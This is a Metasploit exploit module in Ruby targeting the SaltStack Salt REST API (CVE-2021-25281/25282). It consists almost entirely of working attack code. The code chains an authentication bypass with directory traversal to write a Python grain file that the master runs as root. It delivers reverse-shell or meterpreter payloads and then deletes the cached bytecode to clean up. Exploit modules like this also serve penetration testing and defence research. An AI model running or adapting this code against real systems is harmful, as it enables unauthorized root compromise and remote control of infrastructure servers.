SaltStack Salt API Unauthenticated Remote Command Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SaltStack Salt API Unauthenticated RCE through wheel_async client',
        'Description' => %q{
          This module leverages an authentication bypass and directory
          traversal vulnerabilities in Saltstack Salt's REST API to execute
          commands remotely on the `master` as the root user.

          Every 60 seconds, `salt-master` service performs a maintenance
          process check that reloads and executes all the `grains` on the
          `master`, including custom grain modules in the Extension Module
          directory. So, this module simply creates a Python script at this
          location and waits for it to be executed. The time interval is set to
          60 seconds by default but can be changed in the `master`
          configuration file with the `loop_interval` option. Note that, if an
          administrator executes commands locally on the `master`, the
          maintenance process check will also be performed.

          It has been fixed in the following installation packages: 3002.5,
          3001.6 and 3000.8.

          Also, a patch is available for the following versions: 3002.2,
          3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10,
          2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,
          2015.8.13 and 2015.8.10.

          This module has been tested successfully against versions 3001.4,
          3002 and 3002.2 on Ubuntu 18.04.
        },
        'Author' => [
          'Alex Seymour',           # Original PoC
          'Christophe De La Fuente' # MSF Module
        ],
        'References' => [
          ['CVE', '2021-25281'], # Auth bypass
          ['CVE', '2021-25282'], # Directory traversal
          ['URL', 'https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/'],
          ['URL', 'https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py']
        ],
        'DisclosureDate' => '2021-02-25',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'WfsDelay' => 90, # The master's maintenance process check cycle is set to 60 sec. by default
          'SSL' => true     # Salt API uses HTTPS by default
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS] # Payload visible in log if set to DEBUG or TRACE level
        }
      )
    )

    register_options([
      Opt::RPORT(8000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new(
        'EXTMODSDIR',
        [
          true,
          'The Extension Module Directory ("extmods")',
          '/var/cache/salt/master/extmods'
        ]
      )
    ])
  end

  def check
    fun = 'config.values'
    res = send_request(fun: fun)

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Server: CherryPy/8.9.1
    unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
      return CheckCode::Unknown('Target does not appear to be running Salt API.')
    end

    if res.code == 200 && res.get_json_document['return']
      res_json = res.get_json_document['return'].first
      if res_json&.key?('tag') && res_json&.key?('jid')
        return CheckCode::Detected('Salt API responded as expected.')
      end
    end

    CheckCode::Safe('Unexpected Salt API response')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(background: true)
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    @rand_basename = rand_text_alphanumeric(4..12)
    path = normalize_uri(datastore['EXTMODSDIR'], 'grains', "#{@rand_basename}.py")
    register_file_for_cleanup(path)

    cmd.gsub!("'", "\\\\'")
    data = <<~PYTHON
      import subprocess
      def #{rand_text_alpha(6..8)}():
          subprocess.Popen('#{cmd}', shell=True)
          return {}
    PYTHON

    send_request(data: data, path: path)
    vprint_status(
      "Waiting up to #{wfs_delay} seconds for the Salt maintenance process check "\
      'to trigger the payload (WfsDelay option).'
    )
  end

  def send_request(fun: 'pillar_roots.write', data: '', path: '')
    # https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run
    json = {
      'eauth' => 'auto',
      'client' => 'wheel_async',
      'fun' => fun
    }
    json['data'] = data unless data.empty?
    json['path'] = "../../../../../..#{path}" unless path.empty?

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'run'),
      'ctype' => 'application/json',
      'data' => json.to_json
    )
  end

  def path_exists?(session, path, is_dir: false)
    if session.type == 'meterpreter'
      path_exists = begin
        session.fs.file.stat(path)
      rescue StandardError
        nil
      end
      if is_dir
        return !!(path_exists && path_exists.directory?)
      else
        return !!(path_exists && path_exists.file?)
      end
    else
      path_exists = session.shell_command_token(
        "test #{is_dir ? '-d' : '-f'} \"#{path}\" && echo true"
      )
      return !!(path_exists && path_exists =~ /true/)
    end
  end

  def on_new_session(session)
    payload_instance.stop_handler
    super

    # The Python script is being cached in the "__pycache__" directory as a
    # compiled bytecode file (.pyc). This will need to be deleted to avoid
    # being executed over and over.
    path = normalize_uri(datastore['EXTMODSDIR'], 'grains', '__pycache__')
    if session.type == 'meterpreter'
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      return unless path_exists?(session, path, is_dir: true)

      files = begin
        session.fs.dir.entries(path, "#{@rand_basename}*.pyc")
      rescue StandardError
        []
      end

      files.each do |file|
        file_path = normalize_uri(path, file)
        next unless path_exists?(session, file_path)

        session.fs.file.rm(file_path)

        if path_exists?(session, file_path)
          print_warning("Unable to delete #{file_path}")
        else
          print_good("Deleted #{file_path}")
        end
      end
    else
      return unless path_exists?(session, path, is_dir: true)

      files = session.shell_command_token(
        "find \"#{path}\" -maxdepth 1 -type f -name \"#{@rand_basename}*.pyc\""
      )

      files.each_line do |file|
        file.chomp!
        next unless path_exists?(session, file)

        session.shell_command_token("rm -f \"#{file}\" >/dev/null")

        if path_exists?(session, file)
          print_warning("Unable to delete #{file}")
        else
          print_good("Deleted #{file}")
        end
      end
    end
  end

end